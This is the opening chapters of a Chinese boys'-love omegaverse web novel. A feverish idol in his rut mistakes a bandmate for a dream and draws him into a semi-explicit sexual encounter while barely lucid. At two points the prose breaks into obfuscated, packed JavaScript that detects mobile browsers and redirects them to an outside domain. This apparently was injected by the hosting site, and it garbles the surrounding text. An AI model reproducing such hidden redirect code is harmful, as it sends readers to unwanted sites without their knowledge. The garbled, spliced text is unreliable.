《管暗恋的对家A叫老公会怎样?》 1. 第 1 章 三月末,首都某场馆。 某平台举办的一年一度音乐盛典活动。 六人男子偶像团体unforbid''em表演完刚下舞台没多久,便被拉去接受后台采访。 “unforbid''em时隔一年再次迎来回归,大家有什么想对粉丝说的话?” “听说组合上一次全员合体还是在去年的跨年晚会上,这期间成员们有互相联络吗?” “关于这次新专辑,有没有什么可以对粉丝透露的内容?” …… 最新话题是:“Unforbid''em出道四年,相信大家都在相处中更加了解彼此,队长刚刚在盛典上凭借为电视剧《愿君多采撷》献唱的《记号》获得了年度影视单曲,每个人可以说一下对他的看法或者印象吗,生活中,你觉得他是个怎样的人?” 主持人话音落下,其余几人都很配合地朝被提到的人施行了注目礼。 唯有方柏嘉一人正用屈起来的指关节按着眼角,一脸强忍着的困乏模样。 他今天状态不好。 再有两三天就是日历上标注的易感期,干这行的作息不规律,方柏嘉提前吃了口服抑制剂做预防,眼下不知是不是药效起到作用,整个人都昏昏沉沉,大脑注意力难以集中,有点烦躁。 听到这个问题,他花了好几秒,才在脑海内陈列出那个人的信息。 汤昼恒,unforbid''em的队长,比方柏嘉大一岁,今年二十四,是团里的老大。 此刻正在方柏嘉右手边的右手边站着,身上穿着今晚演出的深蓝色重工演出服,身高一米八/九,高挑挺拔得让人想不注意到都难。 年龄最大加上又是团队领导者,如此典型并刻板的形象,怎么看可发挥的内容都非常稳定,没什么新意的问题。 队员们逐个开始回答。 “很沉稳也很细心,为这个团队付出了很多,似乎无论遇到什么难题都可以解决……有这样的成员在身边感觉很幸运。” “总是在生活和工作上提供帮助,心情不好的时候,和哥聊一聊也会有豁然开朗的感觉。是可以交谈的很贴心的哥哥。” 留给方柏嘉的答案越来越少,等麦终于递到这边时,他已经发起了呆。 是队友丞绪悄悄在旁边戳了戳他的手臂,方柏嘉这才回神,拿过麦,没有去看等下的评价对象。 大脑在短暂的一瞬死机后重启,意识到没什么剩下的角度可以说的方柏嘉绞尽脑汁也想不到第二种可能,剩下还缠绕在舌尖的话只剩一句。 “嗯……不太看得懂他。” “诶?” 采访者发出干笑,大概以为方柏嘉走神没听清提问,隐晦地提醒他:“好出乎意料的答案,可以说得再详细一点吗?为什么对队长的印象会是‘看不懂’呢?” 余光里,汤昼恒也朝自己这边望了过来。 方柏嘉依旧没有看他。 话说出口已经感到不妥,但事已至此,中途反悔不是他的风格。 “就是,看不懂这个人。感觉对他也不了解,不太好评价。” 四周开始出现骚动。 主持人疯狂想把眼下的对话盖过:“呃……说起来不仅仅是为OST献唱,队长近些年也有不少电影或者剧集上映播出,想知道你作为队友是否会去观看这些作品,私下会不会和对方讨论?” 方柏嘉还是那张没什么表情的脸:“不会。我不爱看这些东西。” “……” 气氛彻底走向诡异无声之前,汤昼恒及时接过一旁工作人员递来的备用话筒,熟练地打起圆场:“说到这个,大家可能不知道——” * 采访一结束,方柏嘉就被经纪人拉去单独训话了。 再回到组合专用的化妆间时,里面只有丞绪和江白树还在等他—— 杭泽宇和陆翰音还有别的行程要赶,此时正在去往机场的路上。汤昼恒有个单人热曲奖,团体部分结束后还要留下来个人采访。 专门展示后台直播画面的显示屏上,那个人的身影还在晃动。 此时大概到了尾声阶段,聊天内容逐渐变得不那么正经,话题也从今晚的活动拐到私生活上面。 “对于最近网上传言你和唐宋在谈恋爱,你怎么看?” 两名剩下的队友正好整以暇地看着这一幕,听到方柏嘉走进来的脚步声,都转过头。 丞绪:“哟,叛逆期比格回来了。” 两人起身恭迎皇帝回朝,等他到了近前,江白树一把勾住方柏嘉的脖子:“挨训的滋味怎么样,喜不喜欢经纪人爸爸的大谈心?” “……你烦不烦,都说了我易感期要到了,别离我那么近。” 方柏嘉伸手挡他一下,欲盖弥彰地捂了捂鼻子,转变话题,被穿好外套的丞绪从后边推着往前走。 “打断一下,既然人都到齐了,请问可以回家睡觉了吗?” …… 音乐盛典的举办城市就在公司所在地,和所有偶像团体一样,公司有为他们提供免费的住所。 只不过组合截至目前已有将近一年的团活空白期,这一年里成员们专注个人发展,有好几个人搬到了外面,目前就他们三个还在住宿舍。 三人先后登上回程的车。 汤昼恒和他们不同路,不用等。 江白树屁股刚挨着座位,手上还编辑着发给汤昼恒的“我们先走了”的文字消息,冷不丁就道:“你说他和唐宋真的假的?” 唐宋是时下正在事业上升期的omega小花,和汤昼恒合作过两部系列电影,两人在里面饰演一对。 前段时间剧组里几个年轻演员聚餐,被狗仔拍到,后续引起一长条的连锁反应。 对这件事,江白树的第一反应也是好奇。 丞绪:“不知道,要不你下次问问他。” “我?”江白树干笑两声,“还是算了吧,我不敢。” 汤昼恒平时看着温和,却是很有威严、顾及隐私的那类型,他不主动说,江白树只能自己瞎猜。 “话说回来,他俩倒是蛮配的……” 话没说完,后面传来好大一记关门声。 方柏嘉最后一个弯身坐到座位上,默不作声地解开外套。 “哎,”江白树闲不住,又去征求他的意见,“你觉得汤昼恒和唐小姐谈了吗?” “关我屁事。” 方柏嘉不知道又哪根筋不对,上车前还好好的,冷不丁不耐烦起来,蹙着眉冷冷地一个字、一个字说:“没兴趣。” 他语气生硬得很明显,江白树察觉到了,诧异地上下打量方柏嘉好几眼:“你吃枪药了?” 坐在前排的丞绪头也不回地乐了:“他都不正常一晚上了,合着你刚才没感觉?也不知道发的什么疯,在直播里那么说话——他俩的粉丝肯定又吵起来了。” 方柏嘉:“……” 对内娱男团有了解的人都知道,unforbid''em里大热成员汤昼恒与方柏嘉的粉丝彼此看不上许久,都认为自己这边才是组合中那个真正唯一大桃浦。 代言的逼格高低,微博的数据空瓶,各种官方周边杂志销量多少、哪个首切,一切能拉表的都要比。 但凡二人同框,粉丝恨不得截出八百张图比美,要不然就是一张一张地分析面部微表情和对话反应,稍有不如意就广场打架、公共组刷屏; 另一边正主哪场活动被安排了不合适的妆造,出了不那么完美的崩图,甚至什么时候因为作息颠倒脸上长了个痘,他们都比对家粉还清楚。 此等丧心病狂的行为,就连不追团的路人都闻风丧胆,因此unforbid''em别名又叫——“两个top打得你死我活的那个团”。 也有人笑称,小方糖和小行星如此不和纯粹是粉随正主,看方柏嘉对汤昼恒的那个态度就知道了。 可想而知,他今晚的回答注定将引起不小的波澜。 方柏嘉走过来的路上也确实在看网上的反应。 【爱看A宝互裱的有福了,燈13粉丝打架高楼再添新素材,点进来就看今天音乐盛典后台直播间燈3直接当面评价燈1“看不懂这个人”并称对方不好评价,以后山川相缭还会买团魂大营销吗?】 【男团学来了,男团学真的来了】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762084|174428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【半个路人去wb看了cut有点震撼,这个团成员关系这么差吗,燈3说完那句话后全场瞬间寂静,谁看了不说一句燈1脾气好得让人怜爱……】 【早说了燈3就是蔫坏没人信,小方糖还天天吹自担是什么心思细腻敏感性格也是搞笑,一个alpha草这种人设不怕翻车?哪天扒出超雄恶臭小号粉丝就老实了】 【就我一个人觉得那句话没什么吗?李涛,能让不不当着直播间这么多人的面内涵是不是说明平时看起来温和大度的老哥私底下真的很会装?再加上最近的恋情传闻……真是细思恐极。】 【有的人又大发散上了,首先恋情瓜公司已出面辟谣,其次燈1一直是队友和工作人员公认的体面,反观某人情商超低,没记错的话争议性发言也不是一回两回了吧?小方糖还天天给自担草什么心思细腻敏感人设也是搞笑,烙铁实在不行送灌水皇族去上几节语言艺术课呢@UNFORBID''EM_】 【情商低那咋了?心直口快不会说话总比耐不住寂寞的恋爱咖好。浓汤宝现在喜欢拿公司声明说事了,这年头正主亲自出面否认的真恋情还少吗,谁知道劳役背后是不是偷偷谈着呢[笑哭]】 【呃我就问一句,现在这个情况还有人在意今天刚官宣的你燈五月回归吗?】 才过去不到半个小时,各个平台便疯狂涌现出一堆由此发散而来的帖子,到现在都没消停。 不管怎么说,今晚的话题度是绝对足够了。 江白树被丞绪提醒,斜眼狐疑地看着方柏嘉:“行为这么反常,你该不会是那什么感前综合症犯了,嫉妒人家汤昼恒绯闻女友长得漂亮吧?” 方柏嘉对今晚的事自觉理亏,原本正心虚着,闻言差点没翻白眼:“我嫉妒他?他真和谁谈假和谁谈和我有关系吗?” “那你就是暗恋唐宋。”江白树斩钉截铁。 “……”方柏嘉忍了又忍才没说脏话,“滚,你这个脑子也就能来干咱们这行了。” 说完不再理人。 打开手机,点开微博,映入眼帘的并不是他两千多万粉的官方账号,而是0粉丝,0关注,ID是一串乱码。 上面最近发言还停留在一个星期前,正是汤昼恒被爆出和唐宋疑似恋爱的日子。 【滚滚滚滚滚滚滚滚】 【疑似三月将我抛尸。】 【老公你可以幸福但如果你背着我和别人一起幸福那你还是安息吧[心碎][蜡烛]】 发出来的文字全是这种画风。 确实有小号,但小号是拿来当阴暗爬行的梦男用的。 时隔数天,再看一遍还是心烦。 瞳孔里的反光被垂下来的睫毛遮挡得晦暗不清,方柏嘉面无表情地盯着屏幕发了几秒的呆,脑袋又开始晕了,不适感加重得比采访时还厉害。 他索性又关上手机,闭目养神。 * 四十分钟后,保姆车晃晃悠悠到了地方。 组合宿舍分成两套三居室,在一栋楼里的不同楼层。丞绪和江白树住在一起,而方柏嘉在的这套目前只有他一个人。 和两人在电梯里道完别,方柏嘉单独返回住处,打起精神卸妆洗漱。洗完澡测了下/体温,基本可以确定易感期提前来了。 好在未来几天内都没有行程要跑,方柏嘉心情不好,吃了药就一头扎进床里,不分白天黑夜地睡了两天。 直到中间起来补充抑制剂,才发现之前囤在宿舍里的药已经快用光了。 方柏嘉吃下最后一片口服药,拍了自己常用的抑制剂外包装给经纪人发过去,顺便请对方再买点营养剂过来,转头就又陷入昏迷。 因此也当然没看见,他刚给danny哥发完消息没多久,对方就回了他,说自己现在不在首都,问方柏嘉能不能找助理。 他迟迟没有新动静,经纪人担心他别出了什么事,只好往成员群里转发,问有谁可以就近帮忙给方柏嘉送药。 几个人陆陆续续冒泡,结果要不然是还在外地,要不然是去郊区玩了,一时半会回不来。 最后是汤昼恒出来回复: 【我去吧,我刚好在这边也有空。】 2. 第 2 章 方柏嘉这一觉睡得并不安稳。 他做了个梦,梦里一会儿是江白树说汤昼恒和唐宋挺配的,一会儿是网上粉丝说的“谁知道是不是偷偷谈着呢”,意识不清中,连屋里进了人都没察觉。 说不清是被郁闷的还是热醒的。 方柏嘉一睁开眼,就闻到一阵果味的清香。 那香气清爽又冰凉,让人想起清晨时挂在枝头还带有酸涩口感的樱桃,一下冲散了屋内大量沉积的甜腻奶油气味。 穿着半宽松白绿配色棒球外套的汤昼恒就坐在他的床侧,冲着方柏嘉露出自己的后脑勺。 末端的碎发剃得干净而整齐,一看就刚修理过,手里捏着不知道什么的纸质说明,低头看得仔细。 “你醒了?” 听到身后传来的动静,他转过头,礼节性地手伸过来,碰了碰方柏嘉的额头,检查他的情况怎样。 方柏嘉呆住了。 在他的认知和理解中,汤昼恒是不可能这时候出现在这里的。 首先,那个人已经有一年没住宿舍了。其次,上次见面时他是不是还说了差点让对方下不来台的话来着? 易感期吃的药让他昏昏沉沉,脑子也不够灵光。方柏嘉皱着眉冥思苦想一秒,脸上的表情逐渐从困惑转变为恍然。 ——难受了好几天,终于做了个像样的梦了。 身上发热,方柏嘉下意识地追寻本能,想要如往常般地向梦里的汤昼恒寻求慰藉,揉了揉眼睛,对着床边的青年迷迷糊糊叫了一句:“老公?” “……” 听到这话,汤昼恒的第一反应居然是抬起头,环视整个房间一圈。 没人。 进门后一路穿过客厅和走廊走来的路上也没看出房子里还有别人的迹象。 所以刚才那句是在叫谁? 汤昼恒匪夷所思地偏了偏头。 也许是他听错了。 才这样想,下一秒,身上只穿着一件单薄T恤的方柏嘉便泥鳅一样不由分说地钻进他怀里,叫出了第二声:“……老公,我难受。” 说话间还吸了吸鼻子,声音软绵绵的,带了些闷闷的鼻音,下巴搭在汤昼恒的肩膀上,小动物寻求安慰似的蹭蹭。 他看起来的确不舒服,不知道是不是错觉,这才两三天不见,本就瘦削的下巴竟然又窄了两圈。 方柏嘉人又高瘦,摸着腰细细的,没什么肉,手隔着衣服贴在背上,都能触到微微凸起的脊椎骨。 汤昼恒被他扑了个满怀,脑海里还在琢磨着对方刚才口中的“老公”是谁,他认识吗? 还没能再多思考半秒,毫无征兆地,方柏嘉就捧着他的脸吻了上来。 这下汤昼恒彻底凌乱了。 无论如何,方柏嘉肯定是易感期烧糊涂了,这一点他很肯定。 毕竟以对方平时的态度来说,方柏嘉无论如何都不是会在清醒状态下做出这种事情的人。 柔软的触感挤压嘴唇,汤昼恒怔了两秒才意识到应该拒绝。 他偏了偏头想要躲避,然而身体才往后撤两公分,就被方柏嘉敏锐地察觉到,追上来不依不饶地继续亲。 然后再躲,对方再追。 汤昼恒的不配合让方柏嘉生气又不解:易感期要靠吃药度过已经很难受了,怎么连亲个人都这么麻烦。 平时见不到面,难道在梦里都要给他脸色看吗? 等等。 他突然反应过来,这是他自己的梦,难道不是想对汤昼恒做什么就做什么吗? 方柏嘉脾气上来了,冷不防改变主意,一反刚才的态度推开汤昼恒,转身在枕头下边摸索。 找了半天,终于掏出自己的手机,冲对方冷酷道:“要多少钱,你直接开个价吧。” 今天的主题,就当做富哥包养小白脸好了。 他变脸变得比翻书还快,汤昼恒没拐过弯来,好一会儿不说话。 方柏嘉干脆给他定价:“亲五分钟一万块——不对,十万块,这样可以了吗?我现在就转钱给你。” 说完见汤昼恒不动,又催促他:“把你手机拿出来,快点。” 这场景实在诡异。 当红偶像没人缺这点钱,汤昼恒纠结的是对方的态度—— 毕竟方柏嘉熟练的样子不像演的。 他有点在意,又说不清自己在在意什么,迟疑着将手机从上衣口袋中掏出,东西紧接着就被方柏嘉夺走,在他没解锁的手机屏幕上一通煞有介事的乱点。 过了几秒,扔回汤昼恒的怀里,一脸不屑又神志不清地道:“剩下没用完的先存在你这里。” 大功告成,方柏嘉有种终于可以为所欲为了的满足,仰起头,捧着汤昼恒的脸“啾”一声亲上去,一边亲还一边嘟囔:“这才对啊,和我亲一下又能怎么样。” 汤昼恒对着自己的锁屏界面沉默了。 现在可以确认了,这人确实晕得六亲不认。 颈后突然传来压感,他被方柏嘉勾着脖子带倒在床面,汤昼恒反应极快地手肘撑了下床,这才不至于将身体重量完全压在对方身上。 被方柏嘉这么一闹,他再顾不上手机的事,想要起身,却又受限,只能垂头,心情复杂地被动享受着来自身下之人的亲吻。 感觉好像被当成了某种动物。 对方到底是怎么回事,梦游吗? 虽然已经昏头到根本认不出人了,但耍流氓的姿势和手段居然还是很灵活—— 此情此景,让汤昼恒实在很难不多想。 他不再抵抗,让方柏嘉感到很高兴,忘我地冲着他薄薄的嘴唇又亲又吮。 自娱自乐了一会儿,随后又有点不满,这个人,也太像木头了吧?他都花钱买服务了,还要他怎样? 这么想着,方柏嘉不由伸手恶狠狠拽了一下那人的衣领,摆出金主的气魄警告他:“给你钱你就这个态度?嘴巴张开!” 梦里的汤昼恒态度立刻软化,身体先是僵硬了两秒,随后拿他没办法似的真的照做,将嘴巴张开了一条小缝。 方柏嘉抓住机会,舌尖当即浅浅地探进去,小心翼翼地刮了刮对方藏在里面的舌肉,旋即飞快退出来,抿了抿自己的下唇,再伸进去,小狗一样地舔。 光是这样就已经让他兴/奋得不行,瞳孔放大,微微喘气得厉害,难/耐地曲起腿,亲几下就要停下来缓一会儿。 易感期内本就浓郁的信息素香味一再升高,像个茧般裹住来人,丝丝缕缕,缠绕不化。 “舌头伸进来……”迷乱中,他向汤昼恒下了第二道命令,“亲我。” 方柏嘉表态到这个程度,还要无动于衷实在很难。 不知过去多久。 汤昼恒态度终于松动,低下头,辗转蹭了几下方柏嘉的唇线,试探性轻轻吮咬他的唇肉。 随后如对方所愿地挑开唇缝,找到方柏嘉舌尖的嫩肉后逗弄一样打圈搅动。 静谧的房间内响起湿润双唇摩擦时发出的啧啧声。 方柏嘉呼吸明显加快,攥紧汤昼恒的上衣领口。 汤昼恒的姿势也几经变化,一开始热得在方柏嘉的帮助下卸下了外套,后边又干脆脱了鞋,钻进被子里抱着人亲。 方柏嘉晕乎乎的,身体完全由本能主宰,很快便不再满足于只是和对方接吻,恬不知耻地一边哼哼一边把自己往来人身上贴,疼痛的部/位小狗一样抵着那人,意图再明显不过。 汤昼恒犹疑几秒,还是伸出手。 …… 哪怕是在梦中,这对他来说也有些过于刺激了。 结束后的方柏嘉大脑一片空白,抱着对方不肯撒手,汤昼恒想起身去卫生间,又被他拉回去接着索吻。 亲着亲着,空闲的手便无法无天地探下去按/住。 从进门开始,汤昼恒已有好几次被对方弄得无法招架。 眼下方柏嘉的举动再次打破他的底线,汤昼恒很是克制地发出一声倒吸冷气的声音,抓住方柏嘉作乱的手腕轻声呵斥:“别动。” 方柏嘉的嘴角立刻撇了下来。 刚才的解决方案似乎并没让他的症状有太多好转,方柏嘉面色泛/红,额头抵在汤昼恒的颈窝处煎熬地小声喘气。 被汤昼恒拒绝了,只能抱着对方拼命去嗅他身上的樱桃香气,十分可怜的小狗的样子。 AA之间天性互斥,汤昼恒进门前还尽量收敛自己的气味,就是怕方柏嘉闻了不舒服。然而眼下看情况,对方也不像讨厌他的味道。 常规的手段都不管用,只能剑走偏锋。汤昼恒想到AO之间常用的安抚手段,迟疑几秒,试探性地释放出一点信息素出来,见方柏嘉接受良好,又慢慢加大剂量。 如此被人试探身为一个alpha的底线,方柏嘉非但不曾感到冒犯,反而甘之如饴,鼻腔发出忍/耐不住的闷哼。 没过多久,就在对方的怀里软成了一滩水,目光也涣散了,柔软高挺 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“……你是想让我给你标记?” 温热指腹抚过凸起的腺体表面,方柏嘉立刻被电一样发起了抖,生涩又急切地去蹭他的手。 虽然没有开口,肢体语言却胜过一切。 通过吃药来抑制动物的天性,想也知道好受不到哪里去,身为同一性别,汤昼恒当然知道那是什么感觉。 看他实在难受,汤昼恒架不住软磨硬泡,终于下定决心。 …… 牙齿末端切开脆弱肌肤的一瞬,淡淡的血腥气弥漫开来,新鲜大量的信息素通过血管注入到躯体当中,比简单的亲吻与抚/慰都来得要更鲜明强烈。 方柏嘉肉眼可见地重重一颤,刹那间犹如石像般僵硬在原地,修长的手指深深陷入枕面。 alpha的腺体生来就不是让人咬的,头一次遭受这般直接又浓烈的信息素冲击,他根本承受不住,没一会儿就昏睡过去。 再次醒来仍是半夜。 大抵是身体并未被真正满足,方柏嘉只短暂拥有了两个小时的睡眠,迷糊中就又被某种原始的力量唤起。 他浑身发/热,甫一醒来便呼吸沉重,完全被本能驱使着抱紧身边的人。 汤昼恒也很快被他惊醒。 对方居然还在,这对方柏嘉来说是个莫大的慰藉。 他像个八爪鱼一样缠住汤昼恒,表现出比睡前那次还更过分的索/求无度,早就不满足于这种温和而没有实际性触碰的安抚。 不安、空虚,甚至还有少许的暴躁和不耐烦,这些感触都全方面的升级了。 汤昼恒不解风情的举动却搞得他相当恼火。 经历了前面那一遭,对方已然变得娴熟,摸黑将方柏嘉带到身前,又去扯他的衣物。 察觉到那人打算帮助他第二次,方柏嘉说什么都不愿再和汤昼恒有接触。 他又委屈又愤懑,闹着脾气推搡着肩膀让对方走开,嘴里连珠炮弹似的吐出赌气的句子。 “滚。” “不要你来。” “再也不要喜欢你了。” 也不知道这些委屈和愤懑都是冲谁来的,“喜欢你”喜欢的又是谁。 总不会是房间里此刻唯二存在的另一个人吧? 最后汤昼恒也被他带出了点儿火气,不知道是蹭的还是被骂的,拇指和食指顺着方柏嘉的嘴角伸进去,像给小狗看牙一样卡住牙根,不让他乱动,问他: “认得出我是谁吗?” 方柏嘉睁大眼睛看着他,忽然安静了。黑棕的眼珠滴溜溜地转了两圈,从变形的嘴巴里挤出含糊不清的“老公”两字。 顿了顿,又悄悄伸舌头舔了舔他探进口腔里的手指。 酥热的触感从指尖一滑而过。 方柏嘉稍稍偏头,眼睛眯起,含住他的指尖。 多么令人捉摸不透,上一秒明明还在让他滚。 “……” 汤昼恒的脸色也随之阴晴不定起来,定定地俯视了方柏嘉好几秒,像是妥协了,忽而又从口中轻呵一声,道:“行。” 说完,俯身去将床边的灯关了。 “?”方柏嘉的心情还没从大起大落中转变过来,黑色的阴影已然向他迫近。 汤昼恒抵进他膝/盖中间,整个人覆上来。 3. 第 3 章 次日下午,卧室。 方柏嘉身体动了动,冷不丁睁眼醒了过来。 意识回归,他盯着眼前的虚无发了会儿呆。 感觉嘴巴很干,条件反射地抿抿唇,却感受到意想不到的刺痛。 “嘶——”他顿时皱起眉,倒吸一口气,“怎么搞的……” 方柏嘉小心翼翼地在唇面上按了按,似乎肿了。 爬起来按亮床头灯,打开手机前置又看了眼。 真的肿了。 方柏嘉不可思议地打量着屏幕里红得不正常的、比平时更具微妙肉感的双唇,突然间像意识到什么,将界面返回到上一级。 信息通知栏现实,汤昼恒给他发了八条信息。 方柏嘉还没看清具体内容,就冷不丁把手机甩开了。 电光石火间,脑袋里像有什么东西闪过。 他当即掀开被子,看了眼自己的睡裤。 和上衣不配套。 再扯开打量一眼—— 等等这样看不出来。 他试着左右扭了扭腰,感受自己的下半身。 嗯。 没感觉。 方柏嘉“我操”一声。 所以那不是梦。 两分钟后,方柏嘉下了床。 他连拖鞋也没穿,悄悄垫着脚走到关合的卧室门边,耳朵贴上去听了听。 没有声音。 他打开门,又到客厅转了一圈。 汤昼恒的确已经不在了。 “……” 虽说自己现在也不想面对他,但两人一晚上亲也亲了,摸也摸了,第二天起来不打一声招呼就走,未免有点过分了吧? 好像他调戏良家妇男了一样。 “没礼貌。”方柏嘉强行忽略了某种情况下的确如此的事实,压制住其他各种复杂的情绪,冷冷地说了一句。 回卧室的路上进了洗手间,他一眼就看见那条搭在洗衣机旁脏衣篓里的睡裤。 方柏嘉走上前,皱着眉,将脏裤子提着一角拿起来看了看。 又翻开裤腰端详一阵。 然后猛地丢回篓里。 似是被挑动某根神经,他眼皮颤了颤,一下回想到了昨晚。 …… 关灯之后,他们并没有进行到最后一步。 对方没脱衣服,就那么自上而下地笼罩着他,模仿着动/物的姿势慢条斯理,一下一下。 空间很黑,方柏嘉双眼没能适应光线,唯一感受到的就是那人的温度。 汤昼恒顿挫/起/伏的节奏让他感觉像是蛰伏在黑夜中的猛/兽—— 其实力度也不大,更多的像是在哄人,可是太过了,心理和感官上的兴/奋双重叠加,让他错觉得对方好像真的按动了信号枪,但身体又明显知道不是。 一时间,屋子里全是分不清是谁发出的闷哼,还有某些沉/钝声响。 方柏嘉晃晃悠悠,像小船似的在海中摇/晃,头顶一次次抵上床头垫着的枕头,落下来,再推上去。 汤昼恒居然还问他:“是想要我对你这么/做/吗?” “这样还可不可以?” 语气虽然冷静,仔细一听,呼吸却也全乱了,声线都带着刻意压制的腔调。 骨头不断被撞/击,方柏嘉抖得说不出话,接触到的神经一片酥麻,像有电流不断炸开。 他双手按在对方的肩膀上,姿势像迎/合又要逃离,指腹都快要在汤昼恒的肌肤上摁出指印。 “嗯……不要了,等一下——” 明明一开始他是缠着对方要求更多的,真到了快要失/控的边缘,他自己却又接受不了,哑声祈求汤昼恒暂停。 但其实汤昼恒根本也没怎么动。 就在他话音落下没多久。 方柏嘉这艘小船才晃悠了二十几个来回,眼前便蓦然闪过一道白/光。 他整个人瞬间僵硬,一动不动,大气也不敢出一下。 全程算下来有五分钟吗?还是两分钟,三分钟? 汤昼恒听见他没了声音,似乎察觉到什么,动作也很快停下来。 然后是行云流水的开灯,出门。回来的时候手上多出了个水杯,汤昼恒把他扶起来,提着杯子的末端给他喂水。 等方柏嘉喝完,又一脸平静地问他:“累了吧,饿不饿?” 方柏嘉都傻了,他尾椎骨还酥着,刚才还顶/他/顶/得/很/厉/害的人转眼又换上温和的动作和神情,是变脸吗? 他沉浸在震惊中晕乎乎地点头,汤昼恒便不知从哪拎出一袋吸吸果冻那样包装的营养剂,拧开盖子,递到他嘴边。 等对方懵懵地喝完,又抽来纸巾给他擦嘴,却见方柏嘉整个人躲进被子里,神色有异,一副欲言又止的样子。 他脸还红着,悬空的睫毛一通乱颤,本就失/神涣/散的目光不知为何有些躲闪,悄悄瞥他一眼,又迅速移开。 “……”汤昼恒起先还以为是自己的原因,犹豫了几秒要不要问,“怎么了?” 方柏嘉声音低得几不可闻,又羞耻、又无助。 “……我裤子好像/湿/了。” 整整两层。从内/裤,到外面的睡裤。 从前边,到后/面。 湿意慢慢越过布料,眼看着就要洇到床单上。 方柏嘉以前从来不知道,原来Alpha的那/里也能/流。 这一晚最终以汤昼恒帮方柏嘉换了新的下半身衣物作为结尾。 刚才发生的事太刺激,方柏嘉真有点被吓到了。 不仅是因为他过于剧烈而反常的身体反/应,还有那超出想象的……肢体接触能带来的隐/秘/触/感。 他是喜欢对方不假,以前做和对方有关的春/梦,也不是没想过自己会是下边的那个。 可这回的春/梦,似乎格外过火,又……格外的真实。 他感觉自己有点承受不来。 方柏嘉一下怂了,像一条鱼一样“哧溜”钻进被窝,把被子上拉到遮住下巴的位置,闭上眼。 汤昼恒的欺骗手法似乎起到作用,身体真的以为他已然餍足,明明也没做什么实质性的举动,却累得眼睛都睁不开,没两分钟,涌上来的困意就将他全方位席卷。 一觉直接睡到第二天醒来。 昨夜的回忆如此生动鲜明,让他忍不住地脸红心跳。 感觉状况不对,方柏嘉赶紧打开水龙头,用冷水狠狠洗了把脸。 浪没边了。 方柏嘉感觉自己一个晚上把过去二十几年的亲嘴份额都用光了。 不仅如此,他还说了很多平时根本不会说的骚话。 什么“舌头伸进来”,那都是小儿科了。毕竟后面,他都是一边把手伸进对方衣服里面摸腹肌揉胸一边说“老公你长得好爽”的。 人怎么能闯这么大祸。 回想起昨夜种种抱着汤昼恒叫老公,以为自己是有钱的金主就为所欲为、还不知羞地让对方给自己干这干那的场景,方柏嘉整个人都绝望了。 最可怕的是他实际上一毛钱也没有花出去,福利却是结结实实地享受到了。 不仅亲了,还附赠了一堆有的没的特殊服务。 靠,所以有这么好的活动以前怎么不早说,他前几年都干什么去了。 话说回来,汤昼恒为什么这么熟练啊。 他该不会也给别人这么做过吧。 ……赶紧打住。 这是在想什么呢。 意识到自己的思绪此刻正如脱缰野马般放肆奔腾,方柏嘉猛地甩了甩头,往脸上泼了把水,让自己冷静下来。 这都不是眼下最重要的事。 最重要的是,方柏嘉想。 我在不清醒的状态下叫了他一晚上老公,缠着他又亲又抱、对他提出了很多无理的要求,说了很多露骨的话,还多次试图和他发生关系,他不和我发生关系我还生气—— 老天,我到底都干了什么? 方柏嘉一脸麻木地将那两件脏衣服拿过来,放到水下粗暴揉搓片刻,扔进洗衣机里任其翻滚。 随后返回卧室,拿起手机。 犹豫片刻,磨磨蹭蹭到心跳都变快了,想到汤昼恒发给他的那八条微信,他才终于深呼吸,按亮屏幕。 事态紧急,虽然很丢脸,但他还是想知道汤昼恒到底说了什么,又是怎么想的。 ……发那么多消息,该不会是骂他吃完不给钱的吧。 还是要跟他说谢谢你的喜欢但我们不可能昨天的事就忘了吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762086|174428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像后者更像汤昼恒的风格。 方柏嘉一脸凝重地点进对话界面,然后,挑了挑眉。 【下午有通告,赶时间先去机场了,醒了记得吃东西。】 第一条就是有些令他出乎意料的内容。 方柏嘉怀着质疑的态度扯扯嘴角,并不是很信地嘴硬:“谁知道你是真有空还是找个理由跑了。” 还解释给他听,他在乎吗? 他还真在乎。 方柏嘉转头点进微博搜索栏,打下“汤昼恒机场”五个字的同时还在安慰自己,他只是不喜欢别人骗他而已。 这种小事还要特意撒个谎,说明汤昼恒人也不怎么样。 界面跳转,方柏嘉带着审视的目光一脸严肃地在实时广场上扒拉两下,看到线下粉丝今早发的高清送机图。 “居然真没骗人。” 方柏嘉手抚着下唇,低声嘀咕。 好吧,暂时原谅他的不告而别。 再往下看。 【Danny哥抽不开空,让我帮你买药,我看了下你用的那款,这种添加太多镇定成分的抑制剂对身体不好,你可以试试这几个牌子。】 【[图片]】 【[图片]】 【如果你易感期结束要出门,别忘了戴阻隔贴,不知道alpha的腺体标记什么时候会消退,总之注意别被发现。】 【喷伤口的药我也放在床头了。】 …… 转向床头柜,方柏嘉果然在那上边看到汤昼恒说的东西,除了喷雾外,还有一个巨大的药店塑料袋,里面装了抑制剂,还有对方昨夜睡前拿来喂他的那种营养剂代餐。 代餐有好多种口味,方柏嘉粗略地翻了翻,选的都是他喜欢的味道。 汤昼恒就是这样,哪怕关系一般,还是能记住你的喜好与口味。 这个谁喜欢吃辣,那个谁无肉不欢,谁酒精过敏,谁不吃香菜,汤昼恒都面面俱到,好像这些只不过是队长职责中最顺手的事,不会受任何个人恩怨影响。 “假大度,该不会偷偷在里面下了毒吧。”方柏嘉撇嘴吐槽。 但还是很诚实地挑了一袋,拧开盖子喝了起来。 与此同时,抬起另一只手臂,神色不太自在地摸了摸颈后。 